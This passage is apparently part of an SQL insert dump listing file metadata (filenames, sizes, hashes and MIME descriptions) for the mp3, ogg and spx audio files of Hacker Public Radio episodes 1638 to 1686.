(1638,'hpr1638.ogg','ogg',8404180,'fa2d224006b671bb42bd13f01851e47a09418759','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1638,'hpr1638.spx','spx',3273768,'330aa512c0c3c4e026cc511eda01c1c31f190304','application/ogg; charset=binary','Ogg data, Speex audio'),
(1639,'hpr1639.mp3','mp3',18971311,'87ee0012baebdcf84e4d4e88a6e4672ad57ffc29','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1639,'hpr1639.ogg','ogg',19253206,'b36d6c625bd589b4feae84924c5b767d9340bbe6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1639,'hpr1639.spx','spx',8472509,'acfecef1afa1e9b3235360005df69fce4ec8046c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1640,'hpr1640.mp3','mp3',9420760,'cb82f7bde162b10dea9cae0ec3d96a57298058c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1640,'hpr1640.ogg','ogg',11526330,'596574d1ac1235c66d1c3493b6b91dd7c4822047','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1640,'hpr1640.spx','spx',4207149,'f174ac8c7c3f760e98476724fe18169fdc2149d7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1641,'hpr1641.mp3','mp3',8868380,'89559d3a3f1f7d5f1173078d3d715b043220d2fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1641,'hpr1641.ogg','ogg',7097104,'0b26b2d8c851eb4e7d29a42734a496c757f615f8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1641,'hpr1641.spx','spx',3960443,'9ad165723bbff0e97d6357ed093995337305449d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1642,'hpr1642.mp3','mp3',5543319,'2a514be2d7386a5d92b76c02b84670632a6404a8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1642,'hpr1642.ogg','ogg',6105275,'4d0cc6df38b16b51a5ba37a6f69b83bb28e60d8f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1642,'hpr1642.spx','spx',2475432,'abdf389755c331a213273123738989a2f3d42441','application/ogg; charset=binary','Ogg data, Speex audio'),
(1643,'hpr1643.mp3','mp3',16202320,'1255efaa5451c2039dc3025627036169fd1ffab3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1643,'hpr1643.ogg','ogg',18142216,'0eb4f5b66ce4abd23566a153ef44096f418b6bf6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1643,'hpr1643.spx','spx',7235861,'e3e19bd53436b92dada6ca55bebb0eef1db1cc7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1644,'hpr1644.mp3','mp3',7632977,'d9ea19e654276e8d7a027063badd965307931311','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1644,'hpr1644.ogg','ogg',8438635,'6a9bfd910972194c454051d2e25bf4a30c15191a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1644,'hpr1644.spx','spx',3408730,'76812c477a463502819cc099e77917bd0e12a5e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1645,'hpr1645.mp3','mp3',7921305,'551f6d95cf10886052f7bb2dd221640e51d5432b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1645,'hpr1645.ogg','ogg',9530622,'a9e14654b090b9d71a4e625077fb4b32ebda4e0c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1645,'hpr1645.spx','spx',3537489,'becc23c909710f44f4efeb002ee54d02f6c267ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(1646,'hpr1646.mp3','mp3',17009037,'e2d34a7c2216630627b20c8383bbdfb6f950b468','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1646,'hpr1646.ogg','ogg',19753287,'06f8fccc6110e9b2d8c198c9f4184754a5b2c674','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1646,'hpr1646.spx','spx',7596122,'15d650138511ceb020b68589f6607bc4fcf92dad','application/ogg; charset=binary','Ogg data, Speex audio'),
(1647,'hpr1647.mp3','mp3',9856903,'6b06b048efc4104bbd8f14abdf5ae9967679fe93','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1647,'hpr1647.ogg','ogg',10519468,'e3bdd73d4281c5bbe24232bab5eaa2aaac115a2b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1647,'hpr1647.spx','spx',4401940,'6c8a914d088dbadfd907b4cb3ca1d89baa1a02c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1648,'hpr1648.mp3','mp3',20668652,'05ffa0332c2407bf7df45f37fd6476813fa9edb4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1648,'hpr1648.ogg','ogg',22515705,'845fd1f7a65ad2b6127387b21e84c31766884272','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1648,'hpr1648.spx','spx',9230546,'752ca74af4e4b63e183340d738fc8bafb26710ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(1649,'hpr1649.mp3','mp3',7871165,'80ee648aa64fb0ae196e1cafd11609865401da04','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1649,'hpr1649.ogg','ogg',8108023,'7901315d747931d7e27aa42770befa9fd3bb231b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1649,'hpr1649.spx','spx',3515075,'face946e042fa717a8c42146bc4e75d9194553be','application/ogg; charset=binary','Ogg data, Speex audio'),
(1650,'hpr1650.mp3','mp3',72666513,'c01576c4e4024a0f2febb404910d2a02fd126b39','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1650,'hpr1650.ogg','ogg',75934871,'79ae72f9313670b1e1b0f1daab2518be49149b10','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1650,'hpr1650.spx','spx',32453245,'848cda108790784f92f9b5faa460296c914eb175','application/ogg; charset=binary','Ogg data, Speex audio'),
(1651,'hpr1651.mp3','mp3',30186613,'ce33c0eebc85b3937e852e79383fe83b21b97446','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1651,'hpr1651.ogg','ogg',32489949,'cab4259e8fb1c2d394b648e7c5510a4d8abb3d85','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1651,'hpr1651.spx','spx',13481324,'5c987b802178a3e2b4e3b392033727a215f29616','application/ogg; charset=binary','Ogg data, Speex audio'),
(1652,'hpr1652.mp3','mp3',30344859,'6a28746248b6288aa9df9fc20a19a37d93244a00','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1652,'hpr1652.ogg','ogg',32473915,'4cfc703bd535ac5132e0ae7d381253a221366914','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1652,'hpr1652.spx','spx',13552051,'91b565011bc83c10f02adadc1551725a196fc35f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1653,'hpr1653.mp3','mp3',21814488,'f046ec3dd6ee88c3a1e51fcf831a284dfb6c4bf9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1653,'hpr1653.ogg','ogg',22747968,'4826d374351e99a4debf0105cbdcc37437521fee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1653,'hpr1653.spx','spx',9742316,'df2d8964e7bf987cbfa447c6c8f0838762ae5458','application/ogg; charset=binary','Ogg data, Speex audio'),
(1654,'hpr1654.mp3','mp3',9201952,'8d402ff68f1b3f47eaa800e74c7e82b4cb4b6236','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1654,'hpr1654.ogg','ogg',10244719,'6a1261f04b2a49d43e87488878fb499c91de27e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1654,'hpr1654.spx','spx',4109394,'8ee34d9cc98000a7e87b8b7899baf49b4d38cfe4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1655,'hpr1655.mp3','mp3',7148067,'0f171769b6c48337c60756027d42961965dc05c7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1655,'hpr1655.ogg','ogg',8741399,'cd2052ca31854dd6b77b3f5d602582f825075d8e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1655,'hpr1655.spx','spx',3192074,'cfba04a9ee6c4badd7a9fd10c88c857312a65f21','application/ogg; charset=binary','Ogg data, Speex audio'),
(1656,'hpr1656.mp3','mp3',10606714,'3cd3b8382c078042b166d2c7aafe15593ed111c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1656,'hpr1656.ogg','ogg',11542996,'444f979b4260bb38634f8592e1b8cbf878807104','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1656,'hpr1656.spx','spx',4736798,'b0273de67955caac53d5eab3f06a6257719d5bf0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1657,'hpr1657.mp3','mp3',11768433,'2ae3632568a989ac1f07a46ce34fba7c3626e1b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1657,'hpr1657.ogg','ogg',14700992,'c47eb7bb57a7ea0d170e6cca6e5c82458d7586c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1657,'hpr1657.spx','spx',5255652,'0d86127d94b9974f8986990236d424ea68986abb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1658,'hpr1658.mp3','mp3',8252342,'bfac87bb51e0770a63ea167b4f2cb328ee938f09','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1658,'hpr1658.ogg','ogg',9690878,'2ae5dd68e41da9b9612ca48fcee7b967ab7f45af','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1658,'hpr1658.spx','spx',3685302,'90ca6176754d40b17fe114125357935d779c8402','application/ogg; charset=binary','Ogg data, Speex audio'),
(1659,'hpr1659.mp3','mp3',4110362,'9e245b0b7aeeceaf58f73532626539c2fb574c22','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1659,'hpr1659.ogg','ogg',4732447,'90cdc6a8606a496fb92f15c681c92c537cf20f29','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1659,'hpr1659.spx','spx',1835468,'1d87c52ad35be246962064e61b8c675c575e2d5c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1660,'hpr1660.mp3','mp3',30980113,'3c537addc5fe17adffb8c6710ea7641491bb7184','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1660,'hpr1660.ogg','ogg',36007011,'fcd8c14cbea8ffe0d13af4084c140a95e74b12ca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1660,'hpr1660.spx','spx',13835757,'43fdb35a3abe679da67e4aa2eb4114c2cfcb1317','application/ogg; charset=binary','Ogg data, Speex audio'),
(1661,'hpr1661.mp3','mp3',5200602,'8ec46f3647c03fca4bf4728206ac9b6beeae81a5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1661,'hpr1661.ogg','ogg',5847502,'f9e0fc04f7e2f7bdcd29237eb1d7503216feef16','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1661,'hpr1661.spx','spx',2322360,'2134d1dcba9a6ef5b6a605a0402eaa650c757fc2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1662,'hpr1662.mp3','mp3',40568342,'320401f241605ab08ccfb348f6e585b154ef7208','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1662,'hpr1662.ogg','ogg',39236838,'4d6aa3b34d7ec063619faeda249ab58db697c6a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1662,'hpr1662.spx','spx',18117971,'989c29a7cda58bce39eeb9e6d1c0ce0531b44982','application/ogg; charset=binary','Ogg data, Speex audio'),
(1663,'hpr1663.mp3','mp3',29621402,'3b9bf2934e49a3bb8de08aeff1bac23473e31474','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1663,'hpr1663.ogg','ogg',26934501,'4a8ca92834b2e810779d798615ab1ac3fbc540d6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1663,'hpr1663.spx','spx',13229011,'e595f251765925df5f69c7480645a3903f0befd5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1664,'hpr1664.mp3','mp3',12537483,'8e676158d68a8f1ec74c1fe0ddaea1b27ff20ceb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1664,'hpr1664.ogg','ogg',13775020,'b65415d99700540be6fc6d4c986d9ed881e8c3f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1664,'hpr1664.spx','spx',5599141,'6321d1d0c3fdcb6d4f67ec2e443766d183a3116b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1665,'hpr1665.mp3','mp3',5585600,'3363ca3b9b94dda7f1fa9665dbb4ef58f7844ba3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1665,'hpr1665.ogg','ogg',6838606,'e97db64f7053ea708ae46702b88701edbe6d68a8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1665,'hpr1665.spx','spx',2494351,'f3d5188d9bdd3873b4e8105ad3212aa7fe31478a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1666,'hpr1666.mp3','mp3',32906343,'3d37f94d86de94b194db32904ee70117a9c21944','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1666,'hpr1666.ogg','ogg',36410743,'fa29aefbc0c3cf2ba3c377c99851b67c06530f41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1666,'hpr1666.spx','spx',14696099,'792f1769d3014b25baa797ab723df9680dad15e2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1667,'hpr1667.mp3','mp3',5950187,'1aa0162e5444c9091626af674d71e8d429d056ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1667,'hpr1667.ogg','ogg',5780119,'0b2a70762135a2c3b4e61d7ade1f717fb67ff3ab','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1667,'hpr1667.spx','spx',2657129,'cdf3565cd0c7a8d9a950ad4f44660144c17754a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1668,'hpr1668.mp3','mp3',22816952,'f6eabe9995debe637727153b68f954f4c46191f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1668,'hpr1668.ogg','ogg',18385874,'b400b0aa364de9b7de30a76693c8add4095901ad','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1668,'hpr1668.spx','spx',10189982,'90cee183ed8df3af82a23c299629826a1a57373b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1669,'hpr1669.mp3','mp3',7097908,'5b930da2744c0c0ee7f4efbb30830da4bb09b48b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1669,'hpr1669.ogg','ogg',7535493,'3e85191a27fcb02fefd3d3dc16a2f6a06914a08b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1669,'hpr1669.spx','spx',3169756,'95b9a0753e49f030a7ee4fcc31feeea149aefa21','application/ogg; charset=binary','Ogg data, Speex audio'),
(1670,'hpr1670.mp3','mp3',8048383,'12cd6620524deb2826862156387ec37fca8f3428','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1670,'hpr1670.ogg','ogg',9592818,'0fe0855bbd5c17833d4285bcbee135573035be20','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1670,'hpr1670.spx','spx',3594259,'2f6de26edea521d8f08a5753f491b5bd6c562523','application/ogg; charset=binary','Ogg data, Speex audio'),
(1671,'hpr1671.mp3','mp3',38785077,'46d4af351df78b6696415da67a82f68e47f30403','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1671,'hpr1671.ogg','ogg',36439090,'7def41048bf853747f0b4c5a4504b33280678168','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1671,'hpr1671.spx','spx',17321531,'05f244511bc11690e7c3fe8566c9fea911d73e5c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1672,'hpr1672.mp3','mp3',10605895,'b33be3815d589099ef7e547cd7a835737a203bf5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1672,'hpr1672.ogg','ogg',11464744,'553f7751dcd33454f3cda04419b6cdc2bde54b1b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1672,'hpr1672.spx','spx',4736460,'25e6c386752c11720ef310d95f9d4ff158dd8ab6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1673,'hpr1673.mp3','mp3',6313851,'64de385b376fbcc1c4537c7bb895318602abaf2d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1673,'hpr1673.ogg','ogg',7440195,'cf195e8f315524b6b9b93754c8cfaab5d92da446','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1673,'hpr1673.spx','spx',2819508,'2a6f9de732cafef77bdc500e4d8b632db19e7575','application/ogg; charset=binary','Ogg data, Speex audio'),
(1674,'hpr1674.mp3','mp3',103226514,'3d75859d444fe4199cd48ed963dd2432876384a6','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1674,'hpr1674.ogg','ogg',105692025,'2c7f3cd2ea1054531942392213b19e516e3e663e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1674,'hpr1674.spx','spx',46102129,'16688ef9c2b20554aadbebe82725680890c3e291','application/ogg; charset=binary','Ogg data, Speex audio'),
(1675,'hpr1675.mp3','mp3',92941374,'0ca0b897be0ce866c424ef4ae6f21172d3d63b73','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1675,'hpr1675.ogg','ogg',94363790,'ca4547694ad3acc15233a193c70d35857c448510','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1675,'hpr1675.spx','spx',41508704,'f09e75f2d7c35d65a391b3b0ac6da167b7a4568e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1676,'hpr1676.mp3','mp3',96618579,'f534ae2ea6ca967125a790f59de51693dbde0ba4','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1676,'hpr1676.ogg','ogg',84620592,'61ab0e10d27fa2f0639ff87e0a0b68f02fb15889','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1676,'hpr1676.spx','spx',43150929,'5634fcde1795a4707b823c6d2a215577f152ae5f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1677,'hpr1677.mp3','mp3',65274910,'6d83b1e734c94d91f993cb3bad2330e3f91641a5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1677,'hpr1677.ogg','ogg',61071883,'9d131febdbf5d46a2aa27993b9fd232981640289','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1677,'hpr1677.spx','spx',29152122,'64a1053f722e1826b68958dc5c5875645d2e2981','application/ogg; charset=binary','Ogg data, Speex audio'),
(1678,'hpr1678.mp3','mp3',66190241,'c691adb7fc366172a24c1aa04ae7c7103ba0c2bf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1678,'hpr1678.ogg','ogg',66559766,'6da810549a788bdb9ad4623d1e1e19f2a563830f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1678,'hpr1678.spx','spx',29561003,'d2c2310a7ce6bbb1ff746a171450459b116b58e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1679,'hpr1679.mp3','mp3',63217929,'f4718764cfefb9af88f1c1cfc44993fced50dc53','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1679,'hpr1679.ogg','ogg',66617557,'69d2460eaa5bc701a25ee60a485903ff9e9143ae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1679,'hpr1679.spx','spx',28233536,'d302d02ae1fdcb66d1e88d601449ce94b3e6ca79','application/ogg; charset=binary','Ogg data, Speex audio'),
(1680,'hpr1680.mp3','mp3',67623428,'c38b744b4dfd75b481837d9ee0736e7b3793c8b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1680,'hpr1680.ogg','ogg',68037517,'fed24314e96befaa694543f190b070dc617377b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1680,'hpr1680.spx','spx',30200988,'3d11c6257b3f73ee5000d4055fc6ed8ad138c269','application/ogg; charset=binary','Ogg data, Speex audio'),
(1681,'hpr1681.mp3','mp3',105177338,'7d8c908e50f98c5c720ce4dba1382af5746faf3f','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1681,'hpr1681.ogg','ogg',93874143,'11a7b757a49b4713a169a9a29d185a9a526f782c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1681,'hpr1681.spx','spx',46973421,'dbc6edd42d832bf7d2ad4744108e3b78979fdefb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1682,'hpr1682.mp3','mp3',4481769,'09663632ab61f01d4607adf9b1e2788eb2fe810a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1682,'hpr1682.ogg','ogg',5117492,'478a3b7d2805bb8eef22c46fcf5dc86dbae9cdd4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1682,'hpr1682.spx','spx',2001362,'792ca0219b389d21712488a3e04065dfe9c998ac','application/ogg; charset=binary','Ogg data, Speex audio'),
(1683,'hpr1683.mp3','mp3',20783813,'2861d328fe4eac0317c943a44b64360dc6bd7ea6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1683,'hpr1683.ogg','ogg',19481185,'f6231e3e72295fb8ffdf78f526d9cc1524708ab9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1683,'hpr1683.spx','spx',9282003,'7ca4fe9f6356d5ec1afdc81568933bac83c6ea80','application/ogg; charset=binary','Ogg data, Speex audio'),
(1684,'hpr1684.mp3','mp3',6067678,'117538682b14b21b13b849c46740fa1e3d483300','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1684,'hpr1684.ogg','ogg',7314596,'08ce7501b2a19756a256821956d310989d9339a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1684,'hpr1684.spx','spx',2709684,'adb4a9be94ff0f71190a22e20be39e63cc8bec81','application/ogg; charset=binary','Ogg data, Speex audio'),
(1685,'hpr1685.mp3','mp3',6806856,'4e290aca906ce55798fab82031a5dc5e1800e28e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1685,'hpr1685.ogg','ogg',8297045,'579d7d01a6f98d008fc91ca53a499891a2186c1c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1685,'hpr1685.spx','spx',3039756,'26c96390a69d5476f74dc2735f175fe3c2858006','application/ogg; charset=binary','Ogg data, Speex audio'),
(1686,'hpr1686.mp3','mp3',12480649,'9d1a1816c72826ebea6e041999e7c3b27fd4830b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1686,'hpr1686.ogg','ogg',9755698,'f049305876e91743f445994b03ea02f6057d89d5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1686,'hpr1686.spx','spx',5573711,'c22d31f9a18eafff6177c41fed094b828fa94ada','application/ogg; charset=binary','Ogg data, Speex audio'),
